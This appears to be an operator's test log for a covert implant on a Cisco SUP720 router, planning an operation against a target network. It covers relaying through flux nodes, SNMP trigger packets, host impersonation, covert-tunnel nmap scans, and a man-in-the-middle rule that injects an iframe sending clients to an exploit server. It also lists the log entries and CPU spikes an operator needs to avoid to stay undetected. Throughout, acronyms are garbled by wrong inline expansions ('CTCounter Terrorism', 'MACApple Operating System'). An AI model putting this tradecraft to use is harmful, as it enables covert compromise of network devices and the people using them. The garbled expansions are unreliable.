Cytolysis-1h HG v3.1.6 Delivery
HG v3.1.6 was delivered for Cytolysis on 1/12/16 for SUP720. Testing scope will include ACE, SMITE and Tunnel.
CONOP will be:
- Hop through 3 flux nodes - 1 internet, 1 osmo subnet, 1 admin mgmt subnet - and IACInternational Access Code attack VLANVirtual Local Area Network 1 IP of target - XXX.XXX.X.XXX (TOPWAY-NET[CN])
- Trigger port will be UDPUser Datagram Protocol 161, host to impersonate will be explicitly set to a host not on VLANVirtual Local Area Network 10 or VLANVirtual Local Area Network 2
- Establish CTCounter Terrorism session over HTTPSHypertext Transfer Protocol Secure back through flux node 4
- Use ACEApplication Control Engine (Module) commands to verify state of the device
- Use socket get_arp_survey_data and output of "show ip nat trans" to survey traffic from VLANVirtual Local Area Network 19
- SMITE hosts on target customer network - VLANVirtual Local Area Network 19
- Use Tunnel to appear as if Operator is on VLANVirtual Local Area Network other than VLANVirtual Local Area Network 19 or VLANVirtual Local Area Network 2, and from there, nmap VLANVirtual Local Area Network 19.
Testing Summary
- Note in test report that module 2 is in state PwrDown and should be verified before proceeding
- Trigger packets that go through the target due to HG trigger sequence mis match will be caught and logged by outbound customer ACLs potentially - we will trigger to IP of device on port UDPUser Datagram Protocol 161. If trigger packets have incorrect sequence number, an encoding error will increment as shown in output of "show snmp".
- Comms packets are SSLv3 - need to consider if this is noticeable on this network
- Hardware difference between test device and target - daughter card on 4 port 10G line card. This hardware difference has been accepted.
- 5 sec CPU spikes to 45-65% during IACInternational Access Code attack, spike to 27% during HG install
- HG Consumes ~3.5M of Memory, visible in output out show mem
- Operator must manually start CovertTunnel module to use the tunnel capability
- Assists cause observeable in ouput of show ip cef <IP> - this is a known issue.
- Observed the following print even without HG installed when using Windex to exploit a target client:
Jan 20 00:39:05.284 C6506: %SEC-6-IPACCESSLOGP: list Customer-2-filter-in denied tcp XXX.XXX.X.XX (TOPWAY-NET[CN])(1132) (Vlan19 0050.5688.c5e6) -> X.X.X.XX (LVLT-GOGL-8-8-8[US])(7777), 1 packet - Tunnel - Given the sensitivity to sending trigger packets with incorrect sequence number on this op, recommend using tun init to establish CovertTunnel instead of trigger.
- Tunnel - When running nmap or otherwise targeting VLANVirtual Local Area Network 19 from TAPVirtual Network kernel device IP, EXCLUDE 10.11.0.1 (VLANVirtual Local Area Network 19 interface IP) as this will result in acl denied log prints to console for this traffic.

cytolysis-1#
- Characterization of print observed while browsing to windex server
- Collecting VLANVirtual Local Area Network 19 packet capture during print message
- set logging interval and threshold on DUTDevice Under Test so that logs will be seen immediately
- Set up span port for vlan 2 and vlan 19 on DUTDevice Under Test and collecting on the DC from g1/1
- Stopped the seeds traffic from cust2 to minimize output in wireshark
- Ran manual browses from target client to iframe url - took about ten tries, but I got the print and saved off the information that xetron had requested.
- Wiping HG, reload DUT, reload target. Going to confirm once more that I really never get this print without HG by trying more times.
- Performed 30 browses to iframe url and no print. Also browsed at least 30 times to other three web servers, no print
- Added HG, still no seeds, no CTCounter Terrorism session. Repeating step g. Observed print on the 24th iteration:
Jan 22 00:22:01.499 C6506: %SEC-6-IPACCESSLOGP: list Customer-2-filter-in denied tcp XXX.XXX.X.XX (TOPWAY-NET[CN])(1262) (Vlan19 0050.5688.c5e6) -> X.X.X.XX (LVLT-GOGL-8-8-8[US])(7777), 1 packet
Going to see if this occurs more during SMITE rule
- Established CTCounter Terrorism session and created smite rule:
mitm create http_iframe 10.11.0.13 255.255.255.255 0 0 X.X.X.XX (LVLT-GOGL-8-8-8[US]) 255.255.255.255 80 80 "http://X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ" -bk -bc -en
Observed prints with SMITE rule active as well at about the same rate
- Uninstalled and rebooted DUT
- Installed original version of delivery 3.1.5.
- Also working in installing newest version of windex in TR
- Was able to browse to iframe url 30 times from client wiht v3.1.5 and saw no prints. however overnight, i had left the browser window open and windex session connected and at 4am, the router did log some messages:
Jan 22 04:42:37.120 C6506: %SEC-6-IPACCESSLOGP: list Customer-2-filter-in denied tcp XXX.XXX.X.XX (TOPWAY-NET[CN])(1122) (Vlan19 0050.5688.c5e6) -> X.X.X.XX (LVLT-GOGL-8-8-8[US])(7777), 1 packet

This may just be a Windex/IOS NATNetwork Address Translation issue. Hopefully this issue will be resolved in the newer version of Windex.
- Testing Modularity
- Reloaded DUT
- CPU spike to 66% during IACInternational Access Code attack, 27% duing IACInternational Access Code install, 11% duing CTCounter Terrorism session establishment
- Already tested FB and ACEApplication Control Engine (Module) in previous test 3
- Testing Tunnel - Note that Tunnel module is not started by default. Operator will have to start Tunnel module with "module start CovertTunnel.mod" command
- Started tunnel mod. Then stopped it with module stop Tunnel. Repeated three more times.
- Was unable to restart it at first, but after enough time passed and i entered ilm refresh, it did restart successfully. no syslogs or traps observed, no impact to CPU.
- HTTPS Comms testing
- Testing the functionality of impersonating different hosts
- impersonated XXX.XXX.X.XX (TOPWAY-NET[CN]) - successful connection. RAA laid down. Confirmed that host is still able to browse. No syslogs or traps.
- Exited that session and impersonated another host - XXX.XXX.X.XX (TOPWAY-NET[CN]) - this IP is on the VLANVirtual Local Area Network interface - vlan 3 for customer 1. Successfully connected, rx adj in place for .81, however it is always in place. Can ping from router to 1.1.1.1 with source address of XXX.XXX.X.XX (TOPWAY-NET[CN]). Packet assist threshold not increasing with small amount of traffic.
- Collected wireshark of HTTPSHypertext Transfer Protocol Secure comms establishment
- Tested impersonation of a host on a different vlan - tried vlan 2 10.11.0.10 although this is not recommeded - cx successful and was still able to browse from 10.11.0.10. Observed these prints though

- No prints or traps observed duirng cx
- Tested connecting impersonating host on vlan 48 - success - still able to browse from impersonated host, no logs or traps. Assist was laid down and then dropped when CTCounter Terrorism was disconnected.
- Testing sending wrong trigger sequence - current seq is 21
- Set to 18 and impersonated XXX.XXX.X.XX (TOPWAY-NET[CN]) while running wireshark on impersonated host
- Impersonated host saw no traffic, no logs, traps were sent by DUT. As expected, encoding errors incremented on output of show snmp.
Enabled snmp packet debugging and tested with wrong seq number again - router reports:
Jan 29 02:18:55.885 C6506: SNMP: Packet received via UDPUser Datagram Protocol from XXX.XXX.X.XX (TOPWAY-NET[CN]) on Vlan1- Router does not see the snmp packet in debug output if sequence number is correct.

root@debian:/home/user1/ops/cytolysis/cytolysis-1h/hg/tools/dualor/config#Attempted to nmap hosts on 10.11.0.0/24 network but was not able to. I was able to successfully ping and ssh into hosts on that subnet. While watching traffic with wireshark on both the ICON and Target vm, i saw that when nmap runs, wireshark shows two arp requests for who has 10.11.0.10 and then shows duplicate MACApple Operating System address in use for XXX.XXX.XX.XXX (TOPWAY-NET[CN]) (TAPVirtual Network kernel device IP). The two MACs reported are the TAPVirtual Network kernel device IP MACApple Operating System as well as the MACApple Operating System of interface vlan 2 and IP XXX.XXX.X.XX (TOPWAY-NET[CN]) on the DUT.
- Tried making my flux routes more specific so that the routes wouldn't overlap with TAPVirtual Network kernel device routes - did not fix issue.
- Closed tunnel, changed callback.ini file Allow ARPAddress Resolution Protocol variable to 0 and then re-initiated tunnel. This did fix the issue.

- Still able to ssh and ping host as well. Attempting a more extensive nmap...
- Getting prints on nmap traffic to VLANVirtual Local Area Network 2 IP address 10.11.0.1. Need to repeat and exclude that IP.
- Example of print to .1

Do not see that print as long as that IP is excluded. Nmaps generate a lot of ARPAddress Resolution Protocol traffic for non-existent hosts on the network, seen on wireshark running on an existing host.
- Testing what happens when TAPVirtual Network kernel device IP becomes active on the network. Changed the IP of XXX.XX.XX.XXX (CMNET[CN]) to XXX.XX.XX.XXX (CMNET[CN]) - Tunnel closed immediately:
Tunnel is now active
Shutting down tunnel: Client became active on the networkClosing Dualor
Closed the TAPVirtual Network kernel device interface tap0 No prints observed. Changed IP back to .130 and then re-established the tunnel with tap ip .131
- Repeated the tunnel dropping due to TAPVirtual Network kernel device ip active on the network while nmap scan was running... resulted in prints to console because ICON box (1918 space) is now routing nmap traffic directly to the DUTDevice Under Test instead of going through tunnel, and this traffic is denied by acl:

- No other prints observed, no traps observed. CPU impact - 5 second spikes to 16% during tunnel establishment. After that CPU remains low.

Failed to receive data from the tunnel!Closing Dualor
Closed the TAPVirtual Network kernel device interface tap0 - When re-establishing CTCounter Terrorism interface, had to update trigger number to match. Given the sensitivity to triggers being sent with incorrect seq number, may be best to recommend using tun init to establish tunnel so that the trigger sequence number does not get changed in an .ini file. Sending tunnel trigger with wrong seq also causes the snmp encoding errors to increment on DUT.
- Test specifying trigger seq number on command line with triggered tunnel initation:

Test behavior of tunnel when pps threshold reached
- Established Tunnel
- Raised the pps by generating traffic from the impersonated CTCounter Terrorism host as well as the impersonated tunnel host
- lowered threshold settings to 500/1000.

- Test Tunnel using tap ip of vlan 3
- Reloaded device
- install HG
- Establish CT
- start dualor module
- create tunnel - tap ip on vlan 3 - XXX.XXX.X.XX (TOPWAY-NET[CN]) and impersonated XXX.XXX.XX.XXX (TOPWAY-NET[CN]). Added flux route for XXX.XXX.XX.XX (TOPWAY-NET[CN])/29 and tunnel came up.
- Successfully nmap'd vlan 19 hosts. no prints observed
- tested impersonated host becomes active on the network - tunnel drops as soon as impersonated host becomes active. if impersonated host was already active on the network, they co-exist.
- tested when tap ip becomes active on network during a tunnel session, this does drop tunnel. but if tap ip was already active on network, that host cannot we browse. Did not see any punch throughs of tunnel traffic to tap ip host. however, that host is effectively broken. This behavior was observed for windows host only, on linux i did not see the tunnel drop when changing ip to match impersonated host and then ifdown, ifup.
- SUP failover testing
- With hg installed, forced a failover via CLI. Rebooted on other SUP. as expected, CEF assist that was laid down for impersonated host on customer 1 - XXX.XXX.X.XX (TOPWAY-NET[CN]) was still present:
cytolysis-1#show ip cef XXX.XXX.X.XX (TOPWAY-NET[CN])
XXX.XXX.X.XX (TOPWAY-NET[CN])/32
receive
cytolysis-1#- That client cannot browse internet. cleared cef on sup720. doesn't fix it. clear ip route did fix it.
- SUccessfully re-installed HG on sup in slot 6.
- reloaded device to start with a clean device. will attempt to install, failover, then reinstall without clearing route, impersonating same host
- installed hg, established CTCounter Terrorism session impersonating XXX.XXX.X.XX (TOPWAY-NET[CN])
- forced failover through cli - veriufied that host cannot get out, RAArd still in place.
- installed hg and that did fix the host, 1.82 can now get out. RAA still in place. Established CTCounter Terrorism session successfully.
- Failed BACK over. RAA still in place. Reinstall HG. Establish CTCounter Terrorism session. SUCCESS.
- Disconnected CTCounter Terrorism session and now RAA is dropped:
